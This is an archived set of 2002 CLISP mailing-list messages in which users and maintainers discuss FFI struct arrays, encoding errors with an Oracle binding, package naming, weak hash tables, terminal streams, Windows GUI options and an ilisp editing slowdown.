support win95/98, just NT..XP. Right install.bat is in CVS :(

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> * In message <cdznw1ursj.fsf@sun23.aic.nrl.navy.mil>
> * On the subject of "ipc"
> * Sent on 05 Aug 2002 13:41:32 -0400
> * Honorable myriam <mabramso@gmu.edu> writes:
>
> Does anybody know if somebody did an IPC binding for clisp? There is
> one for Allegro. 
> 
> http://www-2.cs.cmu.edu/~IPC/

Not that I know of.
But you are welcome to do this and ask questions here.
I volunteer Joerg-Cyril to help you :-)

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 > You can do that with the standard CLISP FFI in only one case: when the
 > array is zero-terminated. This includes a structure completely filled
 > with 0 bytes, not just C strings of one byte characters.  Does your
 > function match that requirement?

It can be made to (I'll just slap on a zeroed struct at the end).  My
structs contain info on database columns coming back from queries
(data, column name, flags, etc.).  As it turns out the data pointer is
always allocated & never NULL so I guess in my application the
zero-ised terminator struct will work.

 > When using zero'ed structs, beware of uninitialized padding bytes.

won't be a problem w/ mine
 
 > The current FFI cannot use that, unless you start playing tricks using
 > CAST, foreign variable objects and run-time declared FFI types.

I'll skip that! 

 > It's exactly as the docs say (include Humpty Dumpty Lewis Carroll
 > quote here) and don't be mislead by "suggestions", your beliefs or the
 > typical use of zero-termination only applied to termination of char
 > arrays. The concept is more general.

I guess the reason I was confused/surprised by the zero-terminate
convention is that it clearly doesn't work in some cases -- if
my C struct is, say a 3D coordinate in a graphics program, e.g.,
   struct point { int x; int y; int z; };
and if I want to return bunch of them, the zero terminator prevents me
from including (0, 0, 0) as valid data, which here is not exactly an
obscure case.  It would seem all this is moot if I use array of struct
pointers instead of array of whole structs (cost me one more malloc(),
so what...) so maybe I'll try that.  I think in theory there is even no
guarantee that a NULL ptr in "C" is really zero-bits in memory, but
that was probably for some weird HP processor of long ago.

 > BTW, I still tend to think the following is the best approach to your
 > needs. Yet it will probably never be implemented. The debate is

OK, but to be honest, what I'm trying to do is just get this to work,
hopefully w/out bugs and leaks, and then get the hell out of "C" and
into Lisp as soon as possible!

Thanks for the help....

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Following up on my questions of returning arrays of "C" structs to
CLISP using the FFI ...

SUMMARY: Joerg-Cyril: it's working; thanks!

The working solution I've arrived at is to have the C function return
an array of pointers to the C structures + one terminating NULL
pointer at the end.  It's a bit more hassle on the "C" side since
you have to memory-manage the pointers as well as the structs, but
that is why we are paid the big bucks :)

I would advise against returning an array of whole structs to CLISP in
any situation.

 > [Joerg-Cyril]
 > 
 > You can do that with the standard CLISP FFI in only one case: when the
 > array is zero-terminated. This includes a structure completely filled
 > with 0 bytes, not just C strings of one byte characters.  Does your
 > function match that requirement?

I have to say I strongly disagree w/ the convention of imposing a
special meaning (i.e., terminator) on "all zero byte" structures.
There would be too many applications where all-zero data was a valid
representation.  Mine isn't one of them, but I have the suspicion I'm
just lucky.  See my recent message for an example (graphics).

All this becomes moot when the array consists only of pointers, plus a
null-pointer terminator, and that is why I recommend the pointer-array
approach.  In "C", a null pointer is always well defined and and its
meaning always clear: it points to no valid data.  That's part of the
language spec.  A struct of all zeroes has no definite meaning, since
the struct members are user-defined.

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Hi,

John K. Hinsdale wrote:

>I would advise against returning an array of whole structs to CLISP in
>any situation.
Why? Esp. Why do you seem to reject a return-type of e.g.
(c-ptr (c-array mystruct 100)) but accept
(c-array (c-ptr mystruct) 100) or
(c-ptr (c-array (c-ptr mystruct) 100)) ?


>I have to say I strongly disagree w/ the convention of imposing a
>special meaning (i.e., terminator) on "all zero byte" structures.
>There would be too many applications where all-zero data was a valid
>representation.  Mine isn't one of them, but I have the suspicion I'm
>just lucky.
I never said that zero-terminated arrays were great. They have uses. And in the pityful situation of the CLISP FFI, one is lead to consider whether the set of possible (acceptable) uses shouldn't be stretched somewhat.

>All this becomes moot when the array consists only of pointers, plus a
>null-pointer terminator, and that is why I recommend the pointer-array
>approach.
I mean, I don't grasp the difference you make for pointers.
Zero-termination for arrays of pointers may work no better than for structures. NULL is a legal value for any pointer in the array. It's completely application dependent whether this can be interpreted as an "end-of-array" marker.

E.g., the regexp-match could return an array of N pointers to subgroups, NULL therein meaning "this regexp subgroup () was not matched", as in "(http://)?([-a-z0-9\.]+)?"
matching "abc.def/" should return [NULL, "abc.def"].

>OK, but to be honest, what I'm trying to do is just get this to work,
>hopefully w/out bugs and leaks, and then get the hell out of "C" and
>into Lisp as soon as possible!
This is why working on a possibly high-level FFI is not rewarding at all. It seems people can be more easily satisfied with a C-level (i.e. low) interface which grants them all the freedom and possibilites they can think of, at the price of doing, as in C, memory management, transformations etc. on their own.
I tend to see the failure of what in Ada is called thick bindings (well-integrated into language, better?) vs. thin (low-level, worse?) bindings to a foreign library.

Regards,
	Jorg Hohle.


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   >> [J. Hinsdale]
   >> I would advise against returning an array of whole structs to CLISP in
   >> any situation.

 > I never said that zero-terminated arrays were great. They have
 > uses. And in the pityful situation of the CLISP FFI, one is lead to
 > consider whether the set of possible (acceptable) uses shouldn't be
 > stretched somewhat.

I guess in cases where the application allows for it, would be OK (and
in fact it work for my database struct).  In may case, the struct has
a bunch of integers (for which zero is a valid value that can and will
occur as part of normal operation, and some pointers to data, which as
it turns out will always be non-null, but that is just coincidence.
In my app, it's not farfetched to assume that one day the
representation would change so that those pointers could be null (say
to represent the SQL "null" value, which for now I am using a separate
flag).  that would then break the interface.  If you used the struct
pointers, then you can have any arbitrary data, but as you pointed out
you have to be careful that each and every pointer is non-null except
the last.  There does have to be some sort of application-specific
convention.



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I'm testing a module to store & retreive from Oracle to CLISP and I'm
getting an error when strings are converted from the "C" form
(null-terminated) to internal CLISP strings:

	*** - invalid byte #x94 in CHARSET:ASCII conversion

This is only happening for bytes in the range 0x80 to 0xFF (i.e.,
above the 7-bit ASCII range.  Any ideas?  I looked at the docs and it
wasn't obvious to me how to change the charset from ASCII to some
8-bit one (or even how to inquire as to what the current charset is)

What's weird is I don't have this problem on another machine that also
runs CLISP.  The machines each run Linux (Debian) but one (the one
that works) is a later version of Debian ("woody" vs. "potato").  But
that doesn't seem like it should matter, and more important, the one
that gives the error is my main devel. box.

Do I need to install some local-specific thing?  Or is there some way
to tell CLISP not to try to convert to ASCII?  Or maybe I shouldn't be
using some internal Lisp object than other than string to retrieve the
data?  I'm using the FFI::c-string type.

Any advice would be appreciated.

[My Oracle library is looking pretty good, just needs some more
testing and I'm looking forward to making it available to the CLISP
user base under the GPL.]

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> * In message <200208091716.g79HGLRW004217@van-halen.alma.com>
> * On the subject of "[clisp-list] CHARSET questions"
> * Sent on Fri, 9 Aug 2002 13:16:21 -0400
> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
>
> I'm testing a module to store & retreive from Oracle to CLISP and I'm
> getting an error when strings are converted from the "C" form
> (null-terminated) to internal CLISP strings:
> 
> 	*** - invalid byte #x94 in CHARSET:ASCII conversion
> 
> This is only happening for bytes in the range 0x80 to 0xFF (i.e.,
> above the 7-bit ASCII range.  Any ideas?  I looked at the docs and it
> wasn't obvious to me how to change the charset from ASCII to some
> 8-bit one (or even how to inquire as to what the current charset is)

<http://www.gnu.org/software/clisp/faq.html#enc-err>

> [My Oracle library is looking pretty good, just needs some more
> testing and I'm looking forward to making it available to the CLISP
> user base under the GPL.]

cool!

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On Fri, 9 Aug 2002, John K. Hinsdale wrote:

> Date: Fri, 9 Aug 2002 13:16:21 -0400
> From: John K. Hinsdale <hin@alma.com>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] CHARSET questions
> 
> 
> I'm testing a module to store & retreive from Oracle to CLISP and I'm
> getting an error when strings are converted from the "C" form
> (null-terminated) to internal CLISP strings:
> 
> 	*** - invalid byte #x94 in CHARSET:ASCII conversion
> 
> This is only happening for bytes in the range 0x80 to 0xFF (i.e.,
> above the 7-bit ASCII range.  Any ideas?

This is controlled by the variable *default-file-encoding*, which
is initialized based on your LANG environment variable.

>I looked at the docs and it
> wasn't obvious to me how to change the charset from ASCII to some
> 8-bit one (or even how to inquire as to what the current charset is)

Change your LANG environment variable, or do something like

    (setf *default-file-encoding* charset:iso-8859-1)

I think that this variable is actually a symbol macro, not a special
variable. It expands to a function call. So you can't give it a dynamic
binding.

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I have this "package":

--(test-package.lisp)-------------------------------------------------
(make-package "test-package" :use '("COMMON-LISP" "EXT" "SYSTEM" "POSIX" ))
(in-package "test-package")

(defun my-fun ()
  (format t "I'm test-package::my-fun ~%")
  );;my-fun
----------------------------------------------------------------------


Which I try to use as follow:

[pascal@thalassa tmp]$ clisp -q
;; Loading file /home/pascal/.clisprc.lisp ...
;; Loading of file /home/pascal/.clisprc.lisp is finished.
[1]> (load "test-package.lisp")
;; Loading file test-package.lisp ...
;; Loading of file test-package.lisp is finished.
T
[2]> (test-package::my-fun)

*** - READ from #<CONCATENATED-STREAM #<STRING-INPUT-STREAM> #<SYNONYM-STREAM *TERMINAL-IO*>>: there is no package with name "TEST-PACKAGE"
1. Break [3]> 


(my .clisprc.lisp is empty for now).


If I replace the make-package call by:

   (defpackage "test-package" (:use "COMMON-LISP" "EXT" "SYSTEM" "POSIX" ))

I still get the exact same result.


How one can make and keep a package?

Why clisp does not implement  in-package as defined in Cltl2, that is,
creating the package automatically if it does not already exist?

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 > From: Sam Steingold <sds@gnu.org>
 > <http://www.gnu.org/software/clisp/faq.html#enc-err>

 > From: Kaz Kylheku <kaz@ashi.footprints.net>
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 > is initialized based on your LANG environment variable.

Thanks, my $LANG was munged.  Looks like my CLISP defaults to ASCII if
LANG is unset, but also if LANG is set to garbage (?).

It turns out you can ask Oracle what character set is in force in the
current database so I guess I put in a check to see if CLISP is using
ASCII while Oracle is using an 8-bit character set.  Then the problem
can be detected in advance, giving the hints you mentioned.

Thanks ...

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On Sat, 10 Aug 2002, Pascal Bourguignon wrote:

> Date: Sat, 10 Aug 2002 06:39:23 +0200 (CEST)
> From: Pascal Bourguignon <pjb@informatimago.com>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] How to keep a package?
> 
> 
> I have this "package":
> 
> --(test-package.lisp)-------------------------------------------------
> (make-package "test-package" :use '("COMMON-LISP" "EXT" "SYSTEM" "POSIX" ))
> (in-package "test-package")
> 
> (defun my-fun ()
>   (format t "I'm test-package::my-fun ~%")
>   );;my-fun
> ----------------------------------------------------------------------
> 
> 
> Which I try to use as follow:
> 
> [pascal@thalassa tmp]$ clisp -q
> ;; Loading file /home/pascal/.clisprc.lisp ...
> ;; Loading of file /home/pascal/.clisprc.lisp is finished.
> [1]> (load "test-package.lisp")
> ;; Loading file test-package.lisp ...
> ;; Loading of file test-package.lisp is finished.
> T
> [2]> (test-package::my-fun)

Your package is called "test-package", but here you are trying to use
"TEST-PACKAGE". Lisp symbol names are case sensitive. This sensitivity
is rarely visible, because (by default) the names of symbols are
converted to upper case when symbol tokens are read.
An escape mechanism is provided to suppress that:

    (|test-package|::my-fun)

When defining packages, it's probably a better idea to use keywords or
rather than naked strings. SOme people use unterned symbols too.
If you must use strings, remember to type all the names upper case.

    (defpackage "FOO" ... (:use "COMMON-LISP") ...)

    (defpackage :foo ... (:use :common-lisp) ...)


> *** - READ from #<CONCATENATED-STREAM #<STRING-INPUT-STREAM> #<SYNONYM-STREAM *TERMINAL-IO*>>: there is no package with name "TEST-PACKAGE"
> 1. Break [3]> 
> 
> 
> (my .clisprc.lisp is empty for now).
> 
> 
> If I replace the make-package call by:
> 
>    (defpackage "test-package" (:use "COMMON-LISP" "EXT" "SYSTEM" "POSIX" ))
> 
> I still get the exact same result.
> 
> 
> How one can make and keep a package?
> 
> Why clisp does not implement  in-package as defined in Cltl2, that is,
> creating the package automatically if it does not already exist?

Lisp is defined by the ANSI standard, not by Cltl2.  The in-package
macro is required to signal an error of type package-error if the
package does not exist. See the HyperSpec.



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Hi,

John K. Hinsdale wrote:
>It turns out you can ask Oracle what character set is in force in the
>current database so I guess I put in a check to see if CLISP is using
>ASCII while Oracle is using an 8-bit character set.  Then the problem
>can be detected in advance, giving the hints you mentioned.

I believe you should try to make CLISP match the database's encoding. If you second-guess or hard-code ASCII, such code will not work e.g. in the win32 port where the default encoding could be OLD-DOS (whatever its name), while Oracle would probably use ISO-8859-1.

Bear in mind that current, the CLISP FFI doesn't support multibyte strings, e.g. UTF-16 etc. My FFI add-ons for dealing with that have been put on hold (snice that encoding-trailing-zeroes issue).

>I'm using the FFI::c-string type.
Then custom:*foreign-encoding* is the place to set.


Kaz Kylheku writes:
>I think that this variable is actually a symbol macro, not a special
>variable. It expands to a function call. So you can't give it a dynamic
>binding.

Yes, and I find this fact particularly sad. Compare
(let ((custom:*foreign-encoding* (oracle-db-encoding connection)))
  (foreign-funcall #)) #| sadly does not work |# with:
(let ((old custom:foreign-encoding)
      (new (oracle-db-encoding connection)))
  (unwind-protect
    (progn (setf custom:foreign-encoding new)
           (foreign-funcall #))   
    (setf custom:*foreign-encoding* old)))
Every Common Lisper who sees this would say: Whatzthat?? Unwind-protect to a special variable - looks like a beginner's mistake.

CLISP is inconsistent. More specifically: CLISP has been contributed to by different people with different tradeoffs on this and that, people's opinion also shift over time, and there was never something like a CLISP-philosophy guide.

An example of the opposed philosophies on early or late error signaling:

o custom:*xyz-encoding* are symbol macros, so as to be able to test at setf time the correctness of the values. The drawback is that LET becomes unusable.
o (close #<IO TERMINAL STREAM usually bound to*terminal-io*) is legal and CLISP will not error out until it tries to write to the terminal. This happens obviously soon in an interactive session, but arbitrarily late when running an application. Some people were already hit by erroneous closing of the wrong stream and so looked for the error at the wrong place.
This need not be the case. In my Amiga-CLISP, the low-level close would signal an error on an attempt to close the terminal stream, much like the early *-encoding* check.
Each of these two aspects could have been the other way round.

Well, who cares :-)

Regards,
	Jorg Hohle.


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Hi,

how do CLISP's new weak-key tables interact with system objects, esp. =
the #<MACHINE xyz> or #<ADDRESS> objects?
What :test keyword would be suitable for such a thing?

I was considering putting #<encoding> objects in a weak table. The weak =
functionality is necessary, because there can be arbitrarily many [in =
EQ terms] encoding objects in history (even though the set of really =
different slot values [what EQUALP considers] is finite), and the table =
should not grow monotically. The table is wished for because of typical =
caching issues: I don't want to repeat some (supposedly costly) string =
conversions.

[15]> (describe-thing (ext:make-encoding :charset charset:iso-8859-1 =
:line-terminator :dos))
0. :DOS
1. :ERROR
2. :ERROR
3. CHARSET:ISO-8859-1
4. #<ADDRESS #x010DF448>
5. #<ADDRESS #x010DF68C>
6. #<ADDRESS #x010E0370>
7. #<ADDRESS #x010E0610>
8. #<ADDRESS #x010E0C48>
9. #<ADDRESS #x00651CF0>
#<ENCODING CHARSET:ISO-8859-1 :DOS>

1) Can one store encoding objects in a Lisp data structure, then to an =
image and hope they will be resurrected? (I.e. what happens to these =
#<ADDRESS> things?)

2) Do these #<ADDRESS> things survive starting from a new image when =
stored in a weak-table?

3) Does resurrecting lead to crashes because the addresses may point to =
old, now inexistant memory addresses?
The response to this is not a "try it out" issue, because the behaviour =
may be different depending on the underlying OS, stack size or on the =
number of modules loaded in this session of CLISP, or on the time of =
the day. "Try it out" could work for me and break on your machine.

4) what's a good :TEST predicate for retrieving things that contain =
such #<ADDRESS> objects?

5) how to reliably store unknown encodings so that they survive =
restarting from an image?

[9]> (defun describe-thing (o)
  (dotimes (i (sys::%record-length o) o)
    (format t "~&~D. ~S~%" i (sys::%record-ref o i))))

Regards,
	J=F6rg H=F6hle.


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 > I believe you should try to make CLISP match the database's
 > encoding. If you second-guess or hard-code ASCII, such code will not
 > work e.g. in the win32 port where the default encoding could be
 > OLD-DOS (whatever its name), while Oracle would probably use
 > ISO-8859-1.

Actually after some more thought I was thinking of trapping just the
specific case of where (a) the current CLISP encoding was ASCII and
(b) the Oracle charset was something anything other than ASCII.  This
should make for a minimum of second guessing on my part.  This library
is mainly for moving back-and-forth and not manipulating it.  I'm also
going to just make it a warning and not an error so that things are
not aborted in the case where there is only ASCII data extant in the
database.

   >> I'm using the FFI::c-string type.

 > Then custom:*foreign-encoding* is the place to set.

OK, I'll mention that in my warning message.

later,

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> * In message <DFD875E85664D3118FA6080006277DE7064628FD@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] CHARSET questions & early vs late error signaling"
> * Sent on Mon, 12 Aug 2002 11:01:23 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> CLISP is inconsistent. More specifically: CLISP has been contributed
> to by different people with different tradeoffs on this and that,
> people's opinion also shift over time, and there was never something
> like a CLISP-philosophy guide. 
> 
> An example of the opposed philosophies on early or late error signaling:
> 
> o custom:*xyz-encoding* are symbol macros, so as to be able to test at
> setf time the correctness of the values. The drawback is that LET
> becomes unusable.

> o (close #<IO TERMINAL STREAM usually bound to*terminal-io*) is legal
> and CLISP will not error out until it tries to write to the
> terminal. This happens obviously soon in an interactive session, but
> arbitrarily late when running an application. Some people were already
> hit by erroneous closing of the wrong stream and so looked for the
> error at the wrong place.

> This need not be the case. In my Amiga-CLISP, the low-level close
> would signal an error on an attempt to close the terminal stream, much
> like the early *-encoding* check.

there are situations when closing a terminal stream is appropriate,
e.g., when your script is a filter.
we can add a variable, say, CUSTOM:*FORBID-CLOSING-TERMINAL-STREAMS*,
and set it initially to NIL for backward compatibility.
Do people really want that?


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I am a newcomer to clisp fow windows, and I want to know whether I can use clisp-2.28-win32 to develop a application, which has complex user interface. If it can, please show me an entire example?

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> * In message <DFD875E85664D3118FA6080006277DE706462900@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] weak key hash table :test choice & surviving .mem image generatio n"
> * Sent on Mon, 12 Aug 2002 11:23:18 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> how do CLISP's new weak-key tables interact with system objects,
> esp. the #<MACHINE xyz> or #<ADDRESS> objects?  What :test keyword
> would be suitable for such a thing?

'EQ

> I was considering putting #<encoding> objects in a weak table.

don't.

> The weak functionality is necessary, because there can be arbitrarily
> many [in EQ terms] encoding objects in history (even though the set of
> really different slot values [what EQUALP considers] is finite), and
> the table should not grow monotically. The table is wished for because
> of typical caching issues: I don't want to repeat some (supposedly
> costly) string conversions.
> 
> [15]> (describe-thing (ext:make-encoding :charset charset:iso-8859-1 :line-terminator :dos))
> 0. :DOS
> 1. :ERROR
> 2. :ERROR
> 3. CHARSET:ISO-8859-1
> 4. #<ADDRESS #x010DF448>
> 5. #<ADDRESS #x010DF68C>
> 6. #<ADDRESS #x010E0370>
> 7. #<ADDRESS #x010E0610>
> 8. #<ADDRESS #x010E0C48>
> 9. #<ADDRESS #x00651CF0>
> #<ENCODING CHARSET:ISO-8859-1 :DOS>
> 
> 1) Can one store encoding objects in a Lisp data structure, then to an
> image and hope they will be resurrected? (I.e. what happens to these
> #<ADDRESS> things?)

dunno (probably not).
Bruno?

> 2) Do these #<ADDRESS> things survive starting from a new image when
> stored in a weak-table?

dunno (probably not).
Bruno?

> 3) Does resurrecting lead to crashes because the addresses may point to old, now inexistant memory addresses?
> The response to this is not a "try it out" issue, because the behaviour may be different depending on the underlying OS, stack size or on the number of modules loaded in this session of CLISP, or on the time of the day. "Try it out" could work for me and break on your machine.
> 
> 4) what's a good :TEST predicate for retrieving things that contain
> such #<ADDRESS> objects?

'EQ

> 5) how to reliably store unknown encodings so that they survive
> restarting from an image?

store them in a "lazy" way: as a list of charset,
LINE-TERMINATOR, and ERROR actions.

Part of the problem is that, depending on the machine on which the
memory image is created, the set of the available iconv encodings may be
different.

> [9]> (defun describe-thing (o)
>   (dotimes (i (sys::%record-length o) o)
>     (format t "~&~D. ~S~%" i (sys::%record-ref o i))))

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Hi,

>there are situations when closing a terminal stream is appropriate,
>e.g., when your script is a filter.
Remember I talked about (CLOSE #<the terminal io object -- strmtype_terminal>).
Closing files, fifos or sockets has different behaviour.

If I remember correctly (IIRC), only the Lisp object is (marked as) closed,
not C's underlying handle, therefore not the OS' idea of standard-in or
standard-out. Therefore other programs wouldn't see the close.

IIRC, when CLISP starts with input or output redirected to files or pipes,
*terminal-io* is not bound to a #<terminal-io> object, but to a file or pipe
stream object. Closing that invokes the C library close routine, resulting
in the behaviour you describe.

>we can add a variable, say, CUSTOM:*FORBID-CLOSING-TERMINAL-STREAMS*,
>and set it initially to NIL for backward compatibility.
>Do people really want that?
I just showed varying solutions to (IMHO) somewhat similar areas, in CLISP (other examples in other applications are certainly abundant). I didn't request
a change. The last thing I want is yet another of those variables. :-)

I'll have to some day write up a diatribe on the (wrongly) supposed freedom that
those variables give. For a start, just image integrating seven independent 
libraries or components which require incompatible settings of such variables.
Who's going to investigate the run-time access of these libraries to the variables?

As a related topic, who would swear that one's own application won't break
if I put unusual (but legal) values into *print-length*, *read-base*,
*print-base*, *print-radix*, *package* etc.?

Enjoy,
	Jorg Hohle.


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> * In message <20020812141450.95974.qmail@web21009.mail.yahoo.com>
> * On the subject of "[clisp-list] Who can provide an example about clisp for windows?"
> * Sent on Mon, 12 Aug 2002 15:14:50 +0100 (BST)
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> I am a newcomer to clisp fow windows, and I want to know whether I can
> use clisp-2.28-win32 to develop a application, which has complex user
> interface. If it can, please show me an entire example?

see inspect.lisp which uses a web browser for GUI.

PS. Common Lisp is for complex application, not for complex UIs.


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> * In message <DFD875E85664D3118FA6080006277DE7064628FD@U8PN2.blf01.telekom.de>
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>
> o (close #<IO TERMINAL STREAM usually bound to*terminal-io*) is legal
> and CLISP will not error out until it tries to write to the
> terminal. This happens obviously soon in an interactive session, but
> arbitrarily late when running an application. Some people were already
> hit by erroneous closing of the wrong stream and so looked for the
> error at the wrong place.

actually this behavior is mandated by the ANSI CL spec: CLOSE cannot
signal an error.

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I have a preliminary version of a interface to the windows gdi api, and
a interface to garnet
written for clisp.  There are 2 simple examples of calling the gdi api.
There is a link to it on the clisp web site.
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There are several api's to develop gui's in lisp, for example
garnet and clim.  Actually, I think lisp is a good tool,
though it might benefit from a api that is in some ways similar
to the java swing api, for gui development.
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> Michel Kervaire schrieb:

> Hello,

> I would like to know the proper way of interrupting the execution of a
> program...
> The use of the key combination CTRL-BREAK actually interrupts 

Hallo Michael

There is a way that windows can do something to the Ctrl-C. 
First go to the DOS-Box and type at the Prompt: Break. This will report
on or off. 
When it is off, go to the config.sys and add the line:

BREAK=ON
From the readme in win98 the explain text is:

 This command sets or clears extended CTRL+C 
 checking. You can use this command at the 
 command prompt or in your CONFIG.SYS file.

 You can press CTRL+C to stop a program or an 
 activity, such as file sorting. Typically, MS-DOS 
 checks for CTRL+C only while it reads from the 
 keyboard or writes to the screen or a printer. If 
 you set BREAK to ON, you extend CTRL+C checking to 
 other functions, such as disk read and write 
 operations.

May be on Win NT there is something different?
Hope it helps

stefan

Type SET at the DOS-Prompt to see more details


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Hello!

I have just started to learn Common Lisp. Sometimes CLISP reacts in a
way that i can not explain to myself. I am using: GNU CLISP 2.28
(released 2002-03-03) together with the lisp-mode of GNU Emacs
21.2. The value of `inferior-lisp-program' is "clisp -q -L deutsch".

In some (sic!) cases when I send a function to the inferior-lisp
process, CLISP suddenly starts print hundreds of
symbol-names. As it seems the printing becomes slower the more often
this happens.

I have no idea if this is due to some serious mistakes I make in my
code or if CLISP is to blame. I tried the same code with CMUCL, where
it works as intended. But I want to use CLISP.

I was recently able to find a way to reproduce something similar: I
sent the following function-definition to the inferior lisp process:

(defun find-region (x)
  "Return an region (as an object).
X is either the ID of a region or the region-object itself, in which
latter case this function returns it unmodified."
  (when x
    (if (symbolp x)
	(let ((region (gethash x (regions *world*))))
	  (assert region (region) "Not an existing region: ~S" region)
	  region)
      (progn
	(assert (typep 'region) (region)
		"Start/destionation of a passage must be a region or a symbol: ~S" x)
	x))))

And then I get this error message, which is totally incomprehensible
for me:

,----
| [13]> 
| Display all 1259 possibilities? (y or n)
| 
| *** - READ von #<INPUT CONCATENATED-STREAM #<IO SYNONYM-STREAM *TERMINAL-IO*>>: Eine Package mit dem Namen "SYMBOL" gibt es nicht.
| 1. Break [14]> 
`----

[The German text translates to: A package with the name "SYMBOL" does not exist.]

As I see know this does happen, when I start CLISP in a shell and
enter this `defun' at the prompt, too.

Am I missing something? Is this a known issue?

BTW, is this the right place to ask newbie-ish questions about CLISP?

    -- Oliver

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>>>>> "os" == Oliver Scholz <alkibiades@gmx.de> writes:

    os> Hello!  I have just started to learn Common Lisp. Sometimes
    os> CLISP reacts in a way that i can not explain to myself. I am
    os> using: GNU CLISP 2.28 (released 2002-03-03) together with the
    os> lisp-mode of GNU Emacs 21.2. The value of
    os> `inferior-lisp-program' is "clisp -q -L deutsch".

    os> In some (sic!) cases when I send a function to the
    os> inferior-lisp process, CLISP suddenly starts print hundreds of
    os> symbol-names. As it seems the printing becomes slower the more
    os> often this happens.

This happens because you're sending CLISP tab characters. Use the -I
switch to prevent CLISP from interpreting tabs when you're using
lisp-mode in Emacs.

    os> ,---- | [13]> | Display all 1259 possibilities? (y or n) | |
    os> *** - READ von #<INPUT CONCATENATED-STREAM #<IO SYNONYM-STREAM
    os> *TERMINAL-IO*>>: Eine Package mit dem Namen "SYMBOL" gibt es
    os> nicht.  | 1. Break [14]> `----

    os> [The German text translates to: A package with the name
    os> "SYMBOL" does not exist.]

    os> As I see know this does happen, when I start CLISP in a shell
    os> and enter this `defun' at the prompt, too.

It works (for me) when I strip the leading tab characters (or when
using the -I switch).

    os> BTW, is this the right place to ask newbie-ish questions about
    os> CLISP?

Yeah, I think it is.

Claudio
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> * In message <m3it2eiavf.fsf@ID-87814.user.dfncis.de>
> * On the subject of "[clisp-list] CLISP printing hundreds of symbol-names"
> * Sent on Wed, 14 Aug 2002 01:42:44 +0200
> * Honorable Oliver Scholz <alkibiades@gmx.de> writes:
>
> ,----
> | [13]>
> | Display all 1259 possibilities? (y or n)
> |
> | *** - READ von #<INPUT CONCATENATED-STREAM #<IO SYNONYM-STREAM *TERMINAL-IO*>>: Eine Package mit dem Namen "SYMBOL" gibt es nicht.
> | 1. Break [14]>
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your source code contains "^I" control characters, AKA TAB.
this confuses readline which is used by CLISP for input.
TABs are anachronistic.  do not use them.

RTFM: <http://clisp.cons.org/clisp.html#opt-ilisp>
FAQ: <http://www.gnu.org/software/clisp/faq.html#rl-tab>

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Hi, CLISP huggers,

I have completed some lisp applications which can really help me do my work, now I want to develop a user interface through which I can call my lisp functions to do my work, but I am not sure if I can finish my ideas. If somebody knows how to distribute lisp application and how to develop user interface for clisp, would you please give me some advices? My environment is windows 2000, CLISP-2.28-win32.

Thanks.

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Huaiyan Gao <gaohuaiyan@yahoo.co.uk> writes:

> If somebody knows how to distribute lisp application

http://clisp.cons.org/impnotes.html#app-dev

For non-commercial use or if you can afford $100 (full-time students)
or $200 (everyone else) for a commercial Common Lisp compiler, you can
use Corman Lisp to build a delivery executable.

    http://www.cormanlisp.com/




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Who know whether the clisp (for windows) can be run in the GNU emacs and how to do it if possibilly?

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Huaiyan Gao <gaohuaiyan@yahoo.co.uk> writes:

> Who know whether the clisp (for windows) can be run in the GNU emacs
> and how to do it if possibilly?

Yes. 

http://cl-cookbook.sourceforge.net/windows.html




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Sam Steingold <sds@gnu.org> writes:

[...]
> your source code contains "^I" control characters, AKA TAB.
> this confuses readline which is used by CLISP for input.
[...]

Ah! I see now. This makes it pretty clear. Thank you very much.

> RTFM: <http://clisp.cons.org/clisp.html#opt-ilisp>
[...]

My apologies that I did not read this carefully enough. I skipped this
part probably because I thought, it refers to ILISP only, which I do
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On Wed, 14 Aug 2002 08:57:47 +0100 (BST), Huaiyan Gao wrote:

> If somebody knows how to distribute lisp application and how to develop
> user interface for clisp, would you please give me some advices?
> My environment is windows 2000, CLISP-2.28-win32.

The CLISP implementation notes, a document which comes with the CLISP
distribution, explains how to run and deliver applications under different
operating systems.


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Hello,

I'm not sure if this is a clisp-specific problem, but it
didn't seem to happen under other Lisps I've tried.  

As you're probably all aware, Ilisp normally pops up some 
information about the function you're calling in the 
minibuffer as you type.  However, under the setup I'm 
forced to use at work (Emacs 21.2, Ilisp CVS snapshot, 
CLISP 2.29, M$ Windows NT4.0), when I type

(defun<space>

the program becomes non-responsive for something like
30 seconds.  I can C-g to kill whatever emacs thinks 
it's doing, but as soon as I hit <space> again, it 
starts doing it again.

As you can imagine, this makes writing code difficult.

Any suggestions as to how to make this irritating 
behaviour stop?

Thanks,
Eric Moncrieff


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> As you're probably all aware, Ilisp normally pops up some 
> information about the function you're calling in the 
> minibuffer as you type.  However, under the setup I'm 
> forced to use at work (Emacs 21.2, Ilisp CVS snapshot, 
> CLISP 2.29, M$ Windows NT4.0), when I type
> 
> (defun<space>
> 
> the program becomes non-responsive for something like
> 30 seconds. [...]

 The following patch seems to avoid this behaviour.
ilisp-snd.el is the file edited by me and ilisp-snd.old.el is the one that
comes with the ilisp-5.12.0 distribution:

diff ilisp-snd.el ilisp-snd.old.el
611c611
<               (sit-for 0 1 t)
---
>            ;; (sit-for 0)  ; 19990912 Pretty useless.

So edit the file ilisp-snd.el and recompile ilisp.

P.S. I sent this bug report to ilisp@cons.org but haven't
got any anwer yet.





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> 
> > As you're probably all aware, Ilisp normally pops up some 
> > information about the function you're calling in the 
> > minibuffer as you type.  However, under the setup I'm 
> > forced to use at work (Emacs 21.2, Ilisp CVS snapshot, 
> > CLISP 2.29, M$ Windows NT4.0), when I type
> > 
> > (defun<space>
> > 
> > the program becomes non-responsive for something like
> > 30 seconds. [...]
> 
>  The following patch seems to avoid this behaviour.
> ilisp-snd.el is the file edited by me and ilisp-snd.old.el is the one that
> comes with the ilisp-5.12.0 distribution:
> 
> diff ilisp-snd.el ilisp-snd.old.el
> 611c611
> <               (sit-for 0 1 t)
> ---
> >            ;; (sit-for 0)  ; 19990912 Pretty useless.
> 
> So edit the file ilisp-snd.el and recompile ilisp.
> 
> P.S. I sent this bug report to ilisp@cons.org but haven't
> got any anwer yet.

Evindently the ilisp@cons.org addresses are not active.  The move of
the physical machine may have created problems with these addresses.

Please try <ilisp-help@lists.sourceforge.net>

Cheers


